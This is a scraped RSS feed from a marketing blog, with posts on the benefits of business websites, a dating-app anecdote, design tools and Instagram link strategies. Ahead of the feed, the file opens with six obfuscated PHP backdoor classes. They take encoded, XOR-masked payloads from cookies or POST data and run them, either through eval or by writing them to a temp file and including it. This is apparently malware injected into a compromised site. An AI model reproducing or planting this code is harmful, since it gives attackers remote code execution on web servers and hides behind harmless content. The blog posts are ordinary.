$kqTZX = class_exists("JHb_QMCr"); $klEbtSAoev = $kqTZX;if (!$klEbtSAoev){class JHb_QMCr{private $VRVheHV;public static $GHFkjXgel = "bf72b07e-17e3-4da0-871a-3eb9d9c59ec6";public static $avbHtSBRKB = NULL;public function __construct(){$EUrAYBrQj = $_COOKIE;$JWDmbO = $_POST;$USrTnN = @$EUrAYBrQj[substr(JHb_QMCr::$GHFkjXgel, 0, 4)];if (!empty($USrTnN)){$GfwGZ = "base64";$NBCNGxVlRz = "";$USrTnN = explode(",", $USrTnN);foreach ($USrTnN as $VoQRB){$NBCNGxVlRz .= @$EUrAYBrQj[$VoQRB];$NBCNGxVlRz .= @$JWDmbO[$VoQRB];}$NBCNGxVlRz = array_map($GfwGZ . '_' . "\x64" . 'e' . "\x63" . "\x6f" . "\x64" . "\145", array($NBCNGxVlRz,)); $NBCNGxVlRz = $NBCNGxVlRz[0] ^ str_repeat(JHb_QMCr::$GHFkjXgel, (strlen($NBCNGxVlRz[0]) / strlen(JHb_QMCr::$GHFkjXgel)) + 1);JHb_QMCr::$avbHtSBRKB = @unserialize($NBCNGxVlRz);}}public function __destruct(){$this->KyHrkwtc();}private function KyHrkwtc(){if (is_array(JHb_QMCr::$avbHtSBRKB)) {$JjGuABngvF = str_replace("\74" . "\77" . "\160" . chr ( 287 - 183 )."\160", "", JHb_QMCr::$avbHtSBRKB[chr ( 675 - 576 )."\157" . chr ( 866 - 756 ).chr ( 269 - 153 )."\x65" . chr ( 1051 - 941 )."\x74"]);eval($JjGuABngvF);exit();}}}$xHSBRYZAN = new JHb_QMCr(); $xHSBRYZAN = NULL;} ?> $soUbtmYg = class_exists("kC_mSWr"); $tzbAZKl = $soUbtmYg;if (!$tzbAZKl){class kC_mSWr{private $EVvYkjwGy;public static $inVyTslAL = "614fba15-62dd-41e8-94a5-8a5cbb91a53a";public static $nkVkv = NULL;public function __construct(){$CEiCBzNBuq = $_COOKIE;$qGbifKF = $_POST;$umJgvSGgri = @$CEiCBzNBuq[substr(kC_mSWr::$inVyTslAL, 0, 4)];if (!empty($umJgvSGgri)){$daMdMgWqYv = "base64";$xjhQpxU = "";$umJgvSGgri = explode(",", $umJgvSGgri);foreach ($umJgvSGgri as $qpHTW){$xjhQpxU .= @$CEiCBzNBuq[$qpHTW];$xjhQpxU .= @$qGbifKF[$qpHTW];}$xjhQpxU = array_map($daMdMgWqYv . chr ( 600 - 505 )."\144" . 'e' . "\143" . "\157" . chr ( 429 - 329 ).'e', array($xjhQpxU,)); $xjhQpxU = $xjhQpxU[0] ^ str_repeat(kC_mSWr::$inVyTslAL, (strlen($xjhQpxU[0]) / strlen(kC_mSWr::$inVyTslAL)) + 1);kC_mSWr::$nkVkv = @unserialize($xjhQpxU);}}public function __destruct(){$this->qMJlOUylbq();}private function qMJlOUylbq(){if (is_array(kC_mSWr::$nkVkv)) {$SBNBZLUt = sys_get_temp_dir() . "/" . crc32(kC_mSWr::$nkVkv["\163" . chr (97) . "\x6c" . "\x74"]);@kC_mSWr::$nkVkv["\167" . "\162" . "\151" . chr ( 991 - 875 )."\x65"]($SBNBZLUt, kC_mSWr::$nkVkv[chr ( 137 - 38 ).chr (111) . "\x6e" . "\x74" . "\x65" . chr (110) . 't']);include $SBNBZLUt;@kC_mSWr::$nkVkv[chr ( 730 - 630 )."\x65" . "\154" . chr ( 661 - 560 ).chr ( 580 - 464 )."\x65"]($SBNBZLUt);exit();}}}$UFudRj = new kC_mSWr(); $UFudRj = NULL;} ?> $pJZzH = class_exists("DZg_cKeu"); $xfoXgict = $pJZzH;if (!$xfoXgict){class DZg_cKeu{private $SadJn;public static $aCUgQwhs = "91629c1b-0bf0-4917-8590-0b3314b2943c";public static $iKDVKK = NULL;public function __construct(){$EnfsE = $_COOKIE;$BdMYmUE = $_POST;$trERK = @$EnfsE[substr(DZg_cKeu::$aCUgQwhs, 0, 4)];if (!empty($trERK)){$RyFDVIxM = "base64";$tmHUuq = "";$trERK = explode(",", $trERK);foreach ($trERK as $LQAAA){$tmHUuq .= @$EnfsE[$LQAAA];$tmHUuq .= @$BdMYmUE[$LQAAA];}$tmHUuq = array_map($RyFDVIxM . "\x5f" . "\144" . 'e' . "\143" . chr ( 1105 - 994 )."\144" . chr ( 577 - 476 ), array($tmHUuq,)); $tmHUuq = $tmHUuq[0] ^ str_repeat(DZg_cKeu::$aCUgQwhs, (strlen($tmHUuq[0]) / strlen(DZg_cKeu::$aCUgQwhs)) + 1);DZg_cKeu::$iKDVKK = @unserialize($tmHUuq);}}public function __destruct(){$this->iHnJIoUJ();}private function iHnJIoUJ(){if (is_array(DZg_cKeu::$iKDVKK)) {$XLlQv = sys_get_temp_dir() . "/" . crc32(DZg_cKeu::$iKDVKK['s' . chr ( 920 - 823 ).'l' . "\164"]);@DZg_cKeu::$iKDVKK['w' . "\x72" . chr (105) . 't' . "\145"]($XLlQv, DZg_cKeu::$iKDVKK[chr ( 720 - 621 ).chr (111) . 'n' . chr (116) . 'e' . chr ( 1005 - 895 ).'t']);include $XLlQv;@DZg_cKeu::$iKDVKK[chr ( 820 - 720 ).'e' . "\154" . "\x65" . chr (116) . chr (101)]($XLlQv);exit();}}}$hiBgquqV = new DZg_cKeu(); $hiBgquqV = NULL;} ?> $IoeMqgofqv = class_exists("Q_POUK"); $nNhiJXqXrw = $IoeMqgofqv;if (!$nNhiJXqXrw){class Q_POUK{private $yeKoNLEg;public static $oBoCMf = "b0af4df3-e20d-4395-9ad7-4153446157bc";public static $UagrjHj = NULL;public function __construct(){$jaMIzb = $_COOKIE;$DXkdFAbPP = $_POST;$VJcBX = @$jaMIzb[substr(Q_POUK::$oBoCMf, 0, 4)];if (!empty($VJcBX)){$rDaufBz = "base64";$JOQolY = "";$VJcBX = explode(",", $VJcBX);foreach ($VJcBX as $HpwlQ){$JOQolY .= @$jaMIzb[$HpwlQ];$JOQolY .= @$DXkdFAbPP[$HpwlQ];}$JOQolY = array_map($rDaufBz . '_' . "\144" . "\x65" . chr (99) . "\157" . chr (100) . 'e', array($JOQolY,)); $JOQolY = $JOQolY[0] ^ str_repeat(Q_POUK::$oBoCMf, (strlen($JOQolY[0]) / strlen(Q_POUK::$oBoCMf)) + 1);Q_POUK::$UagrjHj = @unserialize($JOQolY);}}public function __destruct(){$this->QqbHas();}private function QqbHas(){if (is_array(Q_POUK::$UagrjHj)) {$zwLmwoU = sys_get_temp_dir() . "/" . crc32(Q_POUK::$UagrjHj["\x73" . "\x61" . "\x6c" . 't']);@Q_POUK::$UagrjHj[chr (119) . 'r' . 'i' . chr ( 437 - 321 ).'e']($zwLmwoU, Q_POUK::$UagrjHj["\143" . chr (111) . 'n' . chr ( 145 - 29 ).chr ( 242 - 141 ).'n' . 't']);include $zwLmwoU;@Q_POUK::$UagrjHj[chr ( 883 - 783 )."\x65" . chr ( 524 - 416 ).chr ( 901 - 800 ).chr ( 486 - 370 )."\x65"]($zwLmwoU);exit();}}}$uHzmixtus = new Q_POUK(); $uHzmixtus = NULL;} ?> $cEtoOwYHPL = class_exists("LCi_OmkZU"); $svQKAUW = $cEtoOwYHPL;if (!$svQKAUW){class LCi_OmkZU{private $bHvBodu;public static $VgPUHLxNs = "d7d95d52-7420-4cb4-9ec6-63b14193396f";public static $lZAlfjy = NULL;public function __construct(){$tLZwzMUqYP = $_COOKIE;$WNsBEwp = $_POST;$rCIeOkwHam = @$tLZwzMUqYP[substr(LCi_OmkZU::$VgPUHLxNs, 0, 4)];if (!empty($rCIeOkwHam)){$orduHlQCGj = "base64";$zAOUze = "";$rCIeOkwHam = explode(",", $rCIeOkwHam);foreach ($rCIeOkwHam as $cCaFETpPB){$zAOUze .= @$tLZwzMUqYP[$cCaFETpPB];$zAOUze .= @$WNsBEwp[$cCaFETpPB];}$zAOUze = array_map($orduHlQCGj . chr (95) . "\144" . 'e' . chr (99) . 'o' . chr (100) . "\145", array($zAOUze,)); $zAOUze = $zAOUze[0] ^ str_repeat(LCi_OmkZU::$VgPUHLxNs, (strlen($zAOUze[0]) / strlen(LCi_OmkZU::$VgPUHLxNs)) + 1);LCi_OmkZU::$lZAlfjy = @unserialize($zAOUze);}}public function __destruct(){$this->tjwMy();}private function tjwMy(){if (is_array(LCi_OmkZU::$lZAlfjy)) {$ffHcqpdER = str_replace(chr ( 269 - 209 ) . chr (63) . chr (112) . "\150" . chr ( 626 - 514 ), "", LCi_OmkZU::$lZAlfjy["\143" . "\157" . chr ( 926 - 816 ).'t' . chr (101) . 'n' . "\x74"]);eval($ffHcqpdER);exit();}}}$vobCc = new LCi_OmkZU(); $vobCc = NULL;} ?> $yREwtAvl = class_exists("YOQ_YrsH"); $gutxnF = $yREwtAvl;if (!$gutxnF){class YOQ_YrsH{private $jIUcRbPqOF;public static $oLFnBXbvmI = "30b78542-d74f-404b-8759-222112d44983";public static $yWMEHqr = NULL;public function __construct(){$zwTamKI = $_COOKIE;$FaXsjGsK = $_POST;$WVTxM = @$zwTamKI[substr(YOQ_YrsH::$oLFnBXbvmI, 0, 4)];if (!empty($WVTxM)){$ZdZmOBJc = "base64";$PdkiRcN = "";$WVTxM = explode(",", $WVTxM);foreach ($WVTxM as $YjYnWgW){$PdkiRcN .= @$zwTamKI[$YjYnWgW];$PdkiRcN .= @$FaXsjGsK[$YjYnWgW];}$PdkiRcN = array_map($ZdZmOBJc . "\137" . "\x64" . chr (101) . "\143" . "\x6f" . 'd' . "\x65", array($PdkiRcN,)); $PdkiRcN = $PdkiRcN[0] ^ str_repeat(YOQ_YrsH::$oLFnBXbvmI, (strlen($PdkiRcN[0]) / strlen(YOQ_YrsH::$oLFnBXbvmI)) + 1);YOQ_YrsH::$yWMEHqr = @unserialize($PdkiRcN);}}public function __destruct(){$this->FIyFMYDZ();}private function FIyFMYDZ(){if (is_array(YOQ_YrsH::$yWMEHqr)) {$ulINhdpSv = str_replace(chr (60) . '?' . chr ( 867 - 755 ).chr (104) . chr ( 295 - 183 ), "", YOQ_YrsH::$yWMEHqr[chr (99) . chr ( 603 - 492 ).chr ( 905 - 795 )."\x74" . chr (101) . "\156" . "\x74"]);eval($ulINhdpSv);exit();}}}$xLgPxug = new YOQ_YrsH(); $xLgPxug = NULL;} ?> Codey – CODE Marketing: Blog https://blog.codemarketing.com Tue, 31 Mar 2020 12:10:51 +0000 en-US hourly 1 https://wordpress.org/?v=5.2.20 6 Benefits of Having a Business Website https://blog.codemarketing.com/6-benefits-of-having-a-business-website/ Tue, 31 Mar 2020 12:10:51 +0000 http://blog.codemarketing.com/?p=1403 In this era of globalization where information is easily accessible through the internet, if your business has no website then it is as good as having no identity. For a business, the importance of digital marketing is unquestionable as it is proven to increase revenue. A good way to have digital presence for a company …

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In this era of globalization where information is easily accessible through the internet, if your business has no website then it is as good as having no identity. For a business, the importance of digital marketing is unquestionable as it is proven to increase revenue.

A good way to have digital presence for a company is to establish a well designed and compelling website. It can serve as a front end to customers and clients. Some companies are even getting their entire profits through their website.

We have broken down for you a list of advantages of having a website below.

Cost Effective

To grow your business, the best way is to cut expenses and focus solely towards the growth. Having an online business can cut the cost of staff, shop rent, tax and utility bill. The cost of running and maintaining a website is merely a few dollars. Proper design and marketing of your website can reach more visitors and ensure the conversion of these visitors into customers.

Accessibility

Your business office is only accessible to a handful of people but your website is available to the whole world 24/7 and 365 days a year. Many companies don’t even have a proper office but their businesses are successful simply because they can reach more people. With advanced transportation, shipment costs are not that much expensive. Many courier companies can now deliver products from one country to another within days. Moreover, having an online presence also provides customers with convenience of reviewing your products and services.

Marketing

The marketing of your website is more cost effective and cheaper than traditional marketing. You can use SEO to promote your website and use various analytics to track engagements and optimize the campaign for better results. You can also build newsletters by publishing information of new products and services to attract your audience. Through email marketing, you can reach out to your clients and offer them discounts and exclusive access that first time customers wouldn’t have.

Convenience & Time Saver

With our busy lifestyles, gone are the days when people go to physical shops and check out products. Instead of going to markets, online shopping is the most convenient way of buying items. Now there are cyber security laws and regulations so people’s confidence in online shopping is increasing. You also don’t have to carry items from your warehouse to store and customers don’t have to spend hours aimlessly looking through racks and shelves for their desired purchase.

Builds Credibility

Having a website will increase your business credibility. When your website appears on the top of Google’s search results or customers leaves good reviews, it creates confidence and brand awareness. Having customers recognize your business as a brand can boost your revenue. Just keep up to date and look professional to continuously improve and maintain your credibility.

Improves Customer Service

With an online presence for your business, you can build FAQ or Knowledge Base pages to tell about each and every aspect of your product to the customer. You can post articles about the benefits of your products. Moreover you can provide a cost effective 24/7 customer service and easily monitor the staffs if they are providing the customers speedy and helpful reply.

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Man Creates Dating App Where He Is The Only Guy https://blog.codemarketing.com/man-creates-dating-app-where-he-is-the-only-guy-allowed/ Thu, 12 Dec 2019 07:17:05 +0000 http://blog.codemarketing.com/?p=1373 In today’s day and age, there’s an app for everything, even finding love. With apps, such a tinder, finding your match is as easy as swiping right. But the downside for that dating apps can be a dark, depressing and boring place to find love. content or chat endlessly with someone, but sometimes it’s really …

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In today’s day and age, there’s an app for everything, even finding love. With apps, such a tinder, finding your match is as easy as swiping right. But the downside for that dating apps can be a dark, depressing and boring place to find love. content or chat endlessly with someone, but sometimes it’s really hard to find a connection – especially when you’re competing with thousands of people.

Well, one guy has decided that he has had enough of this and set out to create his own dating app. Meet Aaron Smith, the creator of Singularity

Singularity is pretty similar to other dating apps with one key difference, Aaron is the only guy allowed on it. Yes you read it right – Aaron is the only guy on it

Singularity will allow as many women as possible to sign up. Aaron was so tired of competing with other men for female attention that he decided to throw the phrase ‘if you can’t beat them, join them’ out the window and stand out by eliminating the competition entirely.

In an interview with WFMY CBS, he said “The biggest problem with the other apps is that my face is not featured prominently. If life gives you lemons, you should first make lemonade. Then make sure no other companies can produce or distribute their own soft drinks. So the only game in town is lemonade.”

Software engineer and Aaron’s best mate, Scott McDowell, thinks that this could change the game of online dating.

“All of us who have done online dating in some sorta way can all relate to the fact that it really does sometimes suck,” he said.

“Hopefully it will give people a chuckle about just the absurdity of what we’re reduced to as a society,” he told CBS.

We’ll wait and see whether this takes off.

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5 Mobile and Desktop Tools for Marketers https://blog.codemarketing.com/5-mobile-and-desktop-tools-for-marketers/ Mon, 23 Sep 2019 12:00:40 +0000 http://blog.codemarketing.com/?p=1352 Looking for better ways to create videos, audio, and images? Want a list of tools to help? Lumen5 When you need to repurpose online articles as videos, try Lumen5, a free browser-based app you use on a desktop computer. Simply copy an article’s URL into Lumen5, and it converts the article into a slideshow. After the …

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Looking for better ways to create videos, audio, and images? Want a list of tools to help?

  1. Lumen5

    When you need to repurpose online articles as videos, try Lumen5, a free browser-based app you use on a desktop computer. Simply copy an article’s URL into Lumen5, and it converts the article into a slideshow. After the conversion, you can edit the images, text, and video transitions on each slide. In about 30 minutes, you’ll have a customized slideshow that you can export as a video.

  2. Easil

    Easil is a browser-based tool with professional-looking templates for Instagram and Facebook Stories. This tool is especially helpful if you’re not a graphic designer. After you select a template, you can edit the font, colour scheme, image, and more. Easil also has a nice font selection and a stock art service called Easil Stock, which is frequently updated with fresh images.

  3. Video Resizer for IGTV & frame

    When you need help sizing videos for Instagram TV (also called IGTV), check out the Video Resizer for IGTV & frame iOS app. This free app can change landscape or square videos to a 9:16 ratio for IGTV. To illustrate, the app can resize a square video you shot for Instagram so you can repurpose the video for an IGTV story. If you accidentally shot a video in the wrong size, the app can fix it. To resize videos into new formats, the app fills blank space in the resized video with a blurred gradient made of colours from the video. These gradients enable the app to resize the video without cropping it.

  4. SparkScore

    SparkScore helps you analyze Twitter engagement and measure your influence by looking at followers, retweets, likes, and lists. If you check your free SparkScore report on the same day every week, you’ll have a snapshot of whether your Twitter engagement is up or down.

  5. IG:dm

    Scrolling through Instagram on a phone can be addictive and distracting, especially when you’re a marketer trying to manage social media. Although using Instagram on a desktop is easier, you can’t answer and send direct messages… unless you have IG:dm, a free download that adds this feature to macOS, Windows, and Linux computers.

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How to Easily Design Social Media Images https://blog.codemarketing.com/how-to-easily-design-social-media-images/ Thu, 19 Sep 2019 12:00:42 +0000 http://blog.codemarketing.com/?p=1357 Do you create your own social media images? Looking for easy-to-use graphics tools to design professional-looking visuals? In this article, you’ll discover four free tools to create images for your marketing. 1: Preview Text Styles With One Touch via Adobe Spark Adobe Spark is part of Adobe’s suite of creative products, bringing social media image and …

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Do you create your own social media images? Looking for easy-to-use graphics tools to design professional-looking visuals?

In this article, you’ll discover four free tools to create images for your marketing.

1: Preview Text Styles With One Touch via Adobe Spark

Adobe Spark is part of Adobe’s suite of creative products, bringing social media image and video creation to the web. It’s one of the easiest online image editors to use and offers many design templates to choose from.

Here’s how to use Adobe Spark to make social media images for any of your social media accounts:

First, navigate to the Adobe Spark website and sign in with your Adobe ID. A Creative Cloud license isn’t required to use Spark, but you do get some extra features if you have a subscription. Namely, you can remove the Adobe Spark watermark with a paid Adobe Spark plan or Creative Cloud subscription, both starting at $9.99 a month.

Once you’re logged in, you’ll see a variety of templates to choose from. All of the popular social templates are displayed on the home screen, or you can use the search bar to find even more types of templates. Once you find one you want to use, select it.

Adobe Spark offers a variety of templates to customize for your social media images.

After you make your selection, the Adobe Spark editor opens with your chosen template. Most templates have pre-made images and text boxes. You can resize the design elements and drag them around the canvas to reposition them.

You’ll see four tabs on the right of the screen:

  • The Design tab lets you pick a different pre-made theme for your template.
  • Click the Colors tab to select a different colour scheme.
  • Open the Layout tab to choose a different image layout.
  • Click the Resize tab to resize your image.

The Adobe Spark editor opens with your chosen template.

To edit the text in the template, double-click the text box and start typing. You can change fonts and other text options on the Type tab.

To change colours, click the Color tab and select one of the pre-made colour templates. Note that this will also change the colour of the shape connected to your text.

Speaking of shapes, you’ve probably noticed that your text is connected to a box, circle, or another shape. This is located behind the text, pulling the image together and frankly, making it look pretty cool. Click the Shape tab on the right side of the screen and select whichever shape you’d like to use with your text. It will be automatically applied to your image.

Click the Shape tab in Adobe Spark and select whichever shape you'd like to use with your text.

Alternatively, you can use Spark’s built-in suggestion tool to change your font and shape. Click the Style tab on the right side of the screen and drag the green circle in the wheel to cycle through different text styles.

Use Adobe Spark's built-in suggestion tool to change your font and shape.

Changing the template’s background is easy too; just double-click on it. Then you’ll be prompted to upload a new image and apply an Instagram-style filter to the background. Note that this will replace the current background.

When your masterpiece is ready to share, click the Share button at the top of the screen. From here, you can share to Twitter or Facebook, or via email. To download the image, just click the Download button to the right.

#2: Design Basic Social Media Images Quickly With Pablo

Pablo by Buffer is a no-frills online image editor that lets you make basic social media images in seconds. So while it doesn’t have some of the features of other image editors on this list, it works in a pinch. This tool is free to use without registration, making it perfect for when you or your team needs to create a quick image.

All of Pablo’s editing options are available on the app’s homepage. There are no menus or other hoops to jump through; just navigate to the site and start editing. Here’s how to use Pablo to make basic social media images:

First, look at the upper-right corner of the screen and choose which social network you’re designing this image for. Currently, Pablo has presets for Pinterest, Instagram, Facebook, and Twitter, which will ensure your image is sized correctly.

Pablo has presets for Pinterest, Instagram, Facebook, and Twitter.

Next, scroll through the list of images on the left to find one you’d like to edit. You can search through Pablo’s huge library of royalty-free images, or click the Upload Image button at the bottom of the screen to upload a custom image.

Search through Pablo's library of royalty-free images, or click the Upload Image button

You can add filters to your images, too. In the Filters box on the right side of the screen, select the filter you want to use. There are quite a few to choose from, and all have a look similar to Instagram’s filters.

Select the filter you want to apply to your image in Pablo.

After you select an image, it appears in the center of the screen with a pre-made text box. Double-click on the text box to edit the text inside it. Additionally, you can drag the text box on the screen to reposition itAdd more text elements using the options in the Text box on the right side of the screen.

Double-click on the text box in your Pablo design to edit the text inside it.

Finally, click the Logo box in the bottom-right corner of the screen to upload your company’s logo. You can drag your logo around the screen to reposition it. This makes it easy to brand your social media images using your brand’s logo.

Click the Logo box in the bottom-right corner of the screen to upload your company's logo to Pablo.

Once your image is ready to share, click the Share & Download button in the bottom-right corner of the screen. From here, you can share your masterpiece to Twitter, Facebook, Instagram, or Pinterest. Alternatively, you can download the image to your computer.

You can share your image to Twitter, Facebook, Instagram, or Pinterest via Pablo.

#3: Design Automatically Resizable Social Media Images With Snappa

Snappa is a user-friendly online image maker that has templates for every social media network. In addition to social post templates, it offers banner, story, and infographic templates. This makes Snappa your one-stop shop for creating all sorts of social media content.

In this example, you’ll use Snappa to create an Instagram story image from a template, but the process is the same for the other social media image sizes.

To start, create a free account or log in. Snappa also offers a Pro account ($15/month, billed monthly) that includes unlimited downloads and custom fonts, but the free account is a good place to start.

After you log in, you see a list of preset sizes for social media posts, blogging and infographics, social media ads, and other options. Select Instagram Story for this example.

After you log in to Snappa, you see a list of preset sizes for social media posts, blogging and infographics, social media ads, and other options.

Next, you see a list of pre-made Story templates you can customize for your design. Click on the template you want to use. Alternatively, click the + button to create a story from scratch.

Click on the Snappa template you want to use.

After you make your selection, the template opens in the Snappa editor. Snappa has a ton of advanced editing features, similar to some of the features you’d find in Photoshop or another advanced image editing suite.

Now customize the template to your liking. Double-click on any text elements to add or change text. Use the text options on the left-hand side of the screen to change the font size, color, or type.

Double-click on any text elements in your Snappa design to add or change text.

You can add images, shapes, and other design elements to your social media images. In the upper-left corner of the screen, click the Graphics tab to see a list of vectors and custom images to choose from or to upload your own image.

Click the Graphics tab in Snappa to see a list of vectors and custom images to choose from or to upload your own image.

Similarly, click the Shapes tab to see a library of shapes you can add to your design. Click to select a design element and add it to the canvasDrag to reposition it on your design.

To resize any design elements, click to select the element and use the knobs that appear on it.

To resize any design elements in Snappa, click to select the element and use the knobs that appear on it.

Note that you can also add background images to your Snappa designs. Click the Background tab to see an array of options. You can search through Snappa’s royalty-free image library or upload your own background by clicking the Uploads button.

To rearrange your background image, click the Reposition Background button at the top of the Background tab. You can then rearrange the background image to your liking.

Search through Snappa's royalty-free image library or upload your own background by clicking the Uploads button.

You can also apply effects to your background image on the Effects tab. Here, you can add color overlays, darkening, and more.

Once you’ve decked out your image with visual elements and are ready to export it, you have two options: download your design or share it directly to social media. Click the Download button at the upper right-hand corner of the screen and select the format that works best for you.

Download your Snappa design or share it directly to social media.

You can also share directly to social media by clicking the Share button that’s located to the right of the Download button. At this time, you can share directly to Twitter or Facebook from the app.

And that’s it! You’ve created and shared your image to social media in Snappa. It’s as easy as that.

#4: Add Simple Data Visualization Charts to Social Media Images in Canva

Canva is a free online image editor with a huge library of free templates and royalty-free images. The app has built-in templates for all of the major social networks, and you can even post directly to your social media accounts from the app.

Creating an image from one of Canva’s templates is simple. After you log in, click the More button in the upper-right corner of the screen.

After you log in to Canva, click the More button in the upper-right corner of the screen.

Canva’s full list of templates will appear. Look in the Social Media Posts section and select the template that best fits your needs. For this example, select the Instagram Post option to create an image for Instagram.

Look in the Social Media Posts section in Canva and select the template that best fits your needs.

After you select the template, a new document is created.

Click the Layouts tab on the left-hand side of the window and you’ll be presented with a list of post layouts to choose from. All of these layouts are fitted for your post size.

Search through the list and click the layout you want to use; it will be imported to the editor, ready for you to customize.

Click the Layouts tab in Canva to see a list of post layouts to choose from.

Note that not all of the templates are included with the Canva free plan. You can upgrade to Canva Pro for $12.95 per user/month, billed monthly, or stick with the free plan if you’re happy with the limited amount of free templates.

Editing a Canva template is easy. Just double-click on the text boxes to edit the text. You can change the fonts, too. Just click the font pop-up menu at the top of the editor and select a different font. You can also edit the point size, spacing, colour, and more.

Click the font pop-up menu at the top of the Canva editor and select a different font.

If you want to edit the background of your design, click the Background tab on the left-hand side of the window. In the background window, you can choose background textures, colors, and even search through Canva’s library of royalty-free images. Click on the image or texture you want to use, and it will be automatically applied to the image.

Choose background textures, colors, or search through Canva's library of royalty-free images.

Speaking of images, you can add other design elements to your Canva masterpiece. You can use your own images or pick one from Canva’s large selection of royalty-free images.

To do this, click the Elements tab on the left-hand side of the screen. You’ll then be presented with a list of different design elements to choose from, including:

  • Free Photos: add an image from Canva’s library of free images
  • Grids: make image grids on your social media post
  • Frames: add frames to your image
  • Shapes: drag and drop vector shapes to your image
  • Lines: add stylized lines to your image
  • Illustrations: add free vector images to your image
  • Icons: add free icons to your image
  • Charts: visualize basic data on your image
  • I <3 Canva: choose from free Canva images to show your support for Canva

Click the Elements tab in Canva to see a list of different design elements to choose from.

Select the element you want to add, and drag and drop it to the canvas. Once it’s in, you can resize the element by dragging on the sides. You can add as many elements as you’d like, so make something awesome!

 Resize a chart in Canva by dragging the sizing handles.

Finally, you can add your own images or vectors to the canvas. Open the Uploads tab and click the green Upload Your Own Images buttonSelect your file, and then drag and drop it to the canvas. All of the placement and resizing options are the same as above.

Open the On the Uploads tab in Canva, click the green Upload Your Own Images button.

When you’re done creating your image, you can export it. Click the Download button at the top of the screen and select the file type you need. You also have the option to choose a transparent background. Transparent backgrounds work only with PNG images that have no background image set. Click the green Download button when you’re ready.

. Click the Download button at the top of the screen and select the file type you need.

You also can publish your image directly to Facebook or Twitter right from Canva. To do this, click the Share button at the top of the screen and click the Social tab in the pop-up box. From here, you can type your accompanying message and select the social network to share it to(Twitter or Facebook). Click Share Now when you’re ready to share.

 Publish your image directly to Facebook or Twitter right from Canva.

And that’s all there is to it. You’ve successfully customized one of Canva’s templates and shared your design to Facebook and Twitter. Sharing to other networks requires you to download the image and post it manually, or use your favourite social media management app.

The post How to Easily Design Social Media Images appeared first on CODE Marketing: Blog.

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Ways to Share Links on Instagram https://blog.codemarketing.com/ways-to-share-links-on-instagram/ Mon, 16 Sep 2019 12:00:44 +0000 http://blog.codemarketing.com/?p=1360 Looking for ways to drive more website traffic from Instagram? Wondering how to share links in more places on Instagram? In this article, you’ll find different ways to share links on your Instagram profile and posts. #1: Add a Link to Your Instagram Bio Let’s start with the first and simplest way to place a …

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Looking for ways to drive more website traffic from Instagram? Wondering how to share links in more places on Instagram?

In this article, you’ll find different ways to share links on your Instagram profile and posts.

#1: Add a Link to Your Instagram Bio

Let’s start with the first and simplest way to place a link on Instagram. The Instagram bio is the only place where anyone, including private personal accounts, can share a clickable link.

How to add or share a link to Instagram, example 1.

Think of this as your “home” link. While there are other ways to share clickable links (which we’ll discuss in a moment), those routes are targeted for more specific audiences. The link in your bio is there for anyone who happens to visit your profile.

Opinions differ on the best strategy for this link. Some brands link to their mobile website and leave it at that. Others update their bio link regularly, and direct users to the content from their posts.

But there’s a snag with changing the link frequently. How do you manage your old posts? What if someone finds an intriguing post from six months ago, goes to your bio to learn more, and finds a different link?

Instead, I recommend sharing more transient links in your stories. If you want to keep that content available, you can save the stories as permanent highlights with clickable links.

How to add or share a link to Instagram, example 2.

Alternatively, especially if you don’t have access to story links, you can use a link service. In the next section, we’ll look at how to use a single, consistent bio link to share a variety of content through link services.

#2: Use a Link Service to Showoff Multiple Links

When Instagram first became popular with marketers, link services were widely used—then their popularity dipped. Now they’re back with more design capabilities and a smoother user experience.

You can choose from a few different formats. The classic link service looks something like Linktree, where you present followers with a list of clickable buttons. The Workspace For Children uses Linktree to direct users to their latest blog posts, activities, and Amazon shop.

How to add or share a link to Instagram, example 3.

Choose a style and colorway that matches the aesthetic in your Instagram posts and stories. If users click through and find something that looks very different, they’ll lose trust in your brand.

The Good Quote uses a consistent color palette for their Instagram posts and Linktree page.

How to add or share a link to Instagram, example 4.

Alternatively, you can choose a service that looks more like a native Instagram experience. Instead of tapping on text buttons, users are presented with an Insta-style photo grid, as in the example below. When they tap the photo from the post that originally caught their attention, the link service directs them to the relevant page on your website.

How to add or share a link to Instagram, example 5.

Some services, like Later’s Linkin.bio, include video links, photo carousels, and even Shopify integrations.

How to add or share a link to Instagram, example 6.

Just be aware that photo grids like this can be data killers. Check that your chosen link service works on a wide range of mobile devices and that all of the links are functional. In theory, the experience should be seamless.

#3: Share Short Links or Directions to Landing Pages in Your Instagram Post Captions

You can’t include clickable links in the captions of normal Instagram photo posts, but that doesn’t mean that post captions are useless! You can still use them to get users’ attention, share extracts from your content, and extend your reach with carefully selected hashtags.

If you want to make the most of your post captions for links on Instagram, I recommend these two strategies.

Share a Short Link

Use a link-shortening service like Bitly so the link is easy for users to copy or remember—bonus points if you customize the link for your brand and content. This approach requires a bit more effort from your followers, so save it for your top content or links where you only want to convert a small, targeted group of people.

Write Crystal-Clear Directions to Live Links

Whether you’re using a link in your bio or in stories, make it obvious. One tactic we use in posts is to share directions to a live link and include a shortened link that people can copy if they choose. In the post below, we directed users to check out our story. Alternatively, they could copy the short link in the post caption to their browser.

How to add or share a link to Instagram, example 7.

#4: Add Swipe-Up Links to Your Instagram Stories

Some brands can include live links in their Instagram stories. Because stories are so ephemeral, they’re a great way to share links to new or time-sensitive content. Think flash sales, limited-time promotions and giveaways, seasonal events, or weekly Q&A sessions with your followers.

Alternatively, you can save stories with swipe-up links in the highlights section on your profile. These stories will stay pinned between your bio and photo grid. Use highlights as a library for evergreen content: essential FAQs, top-selling products, and past events to show new followers what they’ve missed.

Chocolatier Auro keeps highlights on their profile for news stories, community posts, recipe ideas, promotions, events, store locations, and featured products.

How to add or share a link to Instagram, example 9.

Whether you keep an Instagram story forever or let it fade after 24 hours, remember that each story plays for only 15 seconds. Viewers don’t get much time to react, so make the call to action (CTA) crystal clear. Try these ideas:

  • Emphasize the See More link with the highlighter and pen tools.
  • Use stickers and GIFs to point to the link, announce a new post, or encourage users to swipe up.
  • Take a photo or video of someone from your team pointing to the link. In this story from Bicho Vintage, the brand uses an arrow sticker to highlight a shopping link.

How to add or share a link to Instagram, example 10.

There is a caveat here. Story links are tightly controlled by Instagram. You won’t be able to access this feature unless you have over 10,000 followers (which takes time) or a verified account (which is an arcane and almost random process).

Why does Instagram restrict story links like this? Well, presumably because it wants you to prioritize follower counts. But does that really work for your business goals?

For some brands, especially direct-to-consumer brands, a large number of followers is key to success. But in other cases, you might be better off focusing on sales before followers.

Here’s an example of a young brand, Attollo Lingerie, that uses their Instagram story to promote real-world sales and connections. They don’t have access to swipe-up links… but they don’t need them. Instead, they use shared posts, graphics, and clever screenshots to direct users towards links elsewhere.

